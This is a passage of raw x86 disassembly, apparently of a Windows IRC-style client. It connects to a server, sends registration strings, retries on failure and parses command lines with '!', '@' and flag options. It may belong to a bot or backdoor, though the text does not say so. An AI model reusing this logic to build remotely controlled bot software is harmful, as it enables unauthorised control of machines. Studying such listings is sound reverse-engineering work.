ptr [esp+3Ch+var_4], 23h call sub_4017EE push eax push offset dword_449110 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F6D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE40 proc near ; CODE XREF: ___:004019D3j sub_401A4Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C5 sub_40FE40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FE58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FE58: ; CODE XREF: ___:0040FE4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE70 proc near ; CODE XREF: sub_4013C5j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40FE70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F028 mov dword ptr [esi+11h], offset off_43F034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B68 sub_40FE70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_40204F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_410030 proc near ; CODE XREF: sub_402149j var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43A8D3 push eax mov eax, 2478h mov large fs:0, esp call sub_437B30 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_40142E mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411400 loc_410072: ; CODE XREF: sub_410030+13CAj mov al, byte_4E8E54 mov edi, dword_5118AC cmp al, bl jz loc_411400 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_41009A cmp dword ptr [ebp+1Ch], 5 jg short loc_4100A4 cmp eax, ebx jz loc_4101DE loc_41009A: ; CODE XREF: sub_410030+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_4101DE loc_4100A4: ; CODE XREF: sub_410030+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_4100B9 push eax nop call near ptr 71AB9639h loc_4100B9: ; CODE XREF: sub_410030+80j mov ecx, offset word_44AC6E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401541 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401983 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_4100E9 mov [ebp+20h], ebx loc_4100E9: ; CODE XREF: sub_410030+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_401474 mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_4493FD mov ecx, offset word_44ACE6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACE6 add eax, 1B6h push eax push offset dword_4493B4 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACE6 push edx push offset dword_449290 call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 124h push ecx push offset word_449322 mov ecx, offset word_44ACE6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACE6 add eax, 0DBh push eax push offset byte_4492D9 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACE6 add edx, 92h push edx push offset byte_44936B call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_44948F mov ecx, offset word_44ACE6 call sub_401F50 call edi mov [ebp+24h], eax loc_4101DE: ; CODE XREF: sub_410030+64j ; sub_410030+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410208 push 6 push 1 push 2 nop call near ptr 71AB3B91h push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 283030Ah jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410208: ; CODE XREF: sub_410030+1B4j cmp [ebp+15h], bl jnz loc_410398 mov ax, word_44933C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx call near ptr 71AB2B66h nop mov ecx, offset byte_4492D9 mov [esp+24h+arg_1E], ax call sub_4017EE push eax call sub_40188E add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_410288 push 2710h nop call near ptr 283030Ah mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410288: ; CODE XREF: sub_410030+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h nop call near ptr 71AB951Eh mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5F74D1 add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015E1 lea ecx, [esp+3Ch+arg_408] push ecx nop call near ptr 71AB2BF4h push offset byte_448F40 mov ecx, offset byte_44936B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410357 mov ecx, offset byte_44936B call sub_4017EE mov edx, dword_4490EC push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h loc_410357: ; CODE XREF: sub_410030+305j mov ecx, offset byte_4E8E55 call sub_4017EE push eax mov ecx, offset byte_4E8E55 call sub_4017EE push eax mov eax, dword_4490F4 push eax mov ecx, offset byte_4E8E55 call sub_4017EE mov ecx, dword_4490F0 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E24 add esp, 1Ch jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410398: ; CODE XREF: sub_410030+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_4113F0 nop call near ptr 27E0BCDh lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CD0 lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A9B push offset asc_444600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F8 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_410470 push offset asc_444600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset dword_4493B4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410474 loc_410470: ; CODE XREF: sub_410030+3EAj mov [esp+20h+var_D], bl loc_410474: ; CODE XREF: sub_410030+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410496 mov byte ptr [ebp+16h], 1 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410496: ; CODE XREF: sub_410030+45Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490CC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl push 1 jz short loc_410534 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017EE push eax mov eax, dword_4490E8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410662 ; --------------------------------------------------------------------------- loc_410534: ; CODE XREF: sub_410030+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, dword_4490D0 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz loc_4106A0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490E8 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410667 push offset asc_444600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017EE push eax mov eax, dword_4490E8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410662: ; CODE XREF: sub_410030+4FFj call sub_401226 loc_410667: ; CODE XREF: sub_410030+5E6j cmp [ebp+16h], bl jnz loc_4113F7 mov ecx, offset byte_4493FD call sub_4017EE push eax mov ecx, offset dword_4493B4 call sub_4017EE mov ecx, dword_4490D4 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_4106A0: ; CODE XREF: sub_410030+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449108 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410722 push offset asc_444600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_44910C mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410727 loc_410722: ; CODE XREF: sub_410030+69Bj mov [esp+20h+var_D], 1 loc_410727: ; CODE XREF: sub_410030+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410794 cmp [ebp+16h], bl jnz short loc_410770 mov ecx, offset byte_4493FD call sub_4017EE push eax mov ecx, offset dword_4493B4 call sub_4017EE mov edx, dword_4490D4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h loc_410770: ; CODE XREF: sub_410030+713j mov ecx, offset byte_4E8E55 call sub_4017EE push eax mov eax, dword_4490DC push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410794: ; CODE XREF: sub_410030+70Ej push offset asc_444600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490E4 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz short loc_410845 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014DD push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_41082D inc eax lea ecx, [ebp+28h] push eax call sub_4015E1 loc_41082D: ; CODE XREF: sub_410030+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410845: ; CODE XREF: sub_410030+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490E0 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_410880 mov al, byte_449814 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410884 loc_410880: ; CODE XREF: sub_410030+840j mov [esp+20h+var_D], bl loc_410884: ; CODE XREF: sub_410030+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410B91 push offset asc_444C74 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_4108E2 mov ecx, eax call sub_402072 loc_4108E2: ; CODE XREF: sub_410030+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41090E mov ecx, eax call sub_4010BE loc_41090E: ; CODE XREF: sub_410030+8D5j push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401AAF push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410B7C loc_41096F: ; CODE XREF: sub_410030+B46j push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_410997 mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410999 ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_410030+95Aj xor esi, esi loc_410999: ; CODE XREF: sub_410030+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4109CB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4109CF ; --------------------------------------------------------------------------- loc_4109CB: ; CODE XREF: sub_410030+98Cj mov [esp+20h+var_C], ebx loc_4109CF: ; CODE XREF: sub_410030+999j push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013ED test eax, eax jz short loc_4109F2 mov byte ptr [esi+93h], 1 jmp short loc_4109F8 ; --------------------------------------------------------------------------- loc_4109F2: ; CODE XREF: sub_410030+9B7j mov [esi+93h], bl loc_4109F8: ; CODE XREF: sub_410030+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A13 mov byte ptr [esi+94h], 1 jmp short loc_410A19 ; --------------------------------------------------------------------------- loc_410A13: ; CODE XREF: sub_410030+9D8j mov [esi+94h], bl loc_410A19: ; CODE XREF: sub_410030+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A34 mov byte ptr [esi+95h], 1 jmp short loc_410A3A ; --------------------------------------------------------------------------- loc_410A34: ; CODE XREF: sub_410030+9F9j mov [esi+95h], bl loc_410A3A: ; CODE XREF: sub_410030+A02j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FDC lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_448F40 lea ecx, [esi+54h] call sub_4015E1 push offset byte_448F40 lea ecx, [esi+3Fh] call sub_4015E1 push offset asc_444600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FDC lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017EE push eax mov ecx, esi call sub_4015E1 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DFC cmp esi, ebx jz short loc_410B29 push 1 mov ecx, esi call sub_4019E2 loc_410B29: ; CODE XREF: sub_410030+AEEj mov ecx, [esp+20h+var_C] call sub_4013DE inc edi push offset asc_4445EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41096F loc_410B7C: ; CODE XREF: sub_410030+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410B91: ; CODE XREF: sub_410030+86Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490D8 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410EAB push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410C0B mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410C0D ; --------------------------------------------------------------------------- loc_410C0B: ; CODE XREF: sub_410030+BCEj xor esi, esi loc_410C0D: ; CODE XREF: sub_410030+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410C3C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410C3E ; --------------------------------------------------------------------------- loc_410C3C: ; CODE XREF: sub_410030+BFFj xor edi, edi loc_410C3E: ; CODE XREF: sub_410030+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013ED test eax, eax jz short loc_410C60 mov byte ptr [esi+95h], 1 jmp short loc_410C66 ; --------------------------------------------------------------------------- loc_410C60: ; CODE XREF: sub_410030+C25j mov [esi+95h], bl loc_410C66: ; CODE XREF: sub_410030+C2Ej push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410C81 mov byte ptr [esi+93h], 1 jmp short loc_410C87 ; --------------------------------------------------------------------------- loc_410C81: ; CODE XREF: sub_410030+C46j mov [esi+93h], bl loc_410C87: ; CODE XREF: sub_410030+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410CA2 mov byte ptr [esi+94h], 1 jmp short loc_410CA8 ; --------------------------------------------------------------------------- loc_410CA2: ; CODE XREF: sub_410030+C67j mov [esi+94h], bl loc_410CA8: ; CODE XREF: sub_410030+C70j push offset asc_444C74 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016B8 push offset asc_444C68 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FDC lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C68 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016B8 push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FDC lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset a@ ; "@" lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016B8 push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FDC mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FDC lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C64 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410E7D add eax, 2 push eax jmp short loc_410E82 ; --------------------------------------------------------------------------- loc_410E7D: ; CODE XREF: sub_410030+E45j push offset byte_448F40 loc_410E82: ; CODE XREF: sub_410030+E4Bj mov ecx, esi call sub_4015E1 push ebx push esi mov ecx, edi call sub_401DFC cmp esi, ebx jz short loc_410E9F push 1 mov ecx, esi call sub_4019E2 loc_410E9F: ; CODE XREF: sub_410030+E64j mov ecx, edi call sub_4013DE jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410EAB: ; CODE XREF: sub_410030+BADj push offset asc_444600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490FC mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411080 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_444600 ; " " push 3 push edx call sub_4016B8 mov ecx, offset word_44AC6E call sub_401CE4 cmp eax, ebx jz short loc_410F72 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset 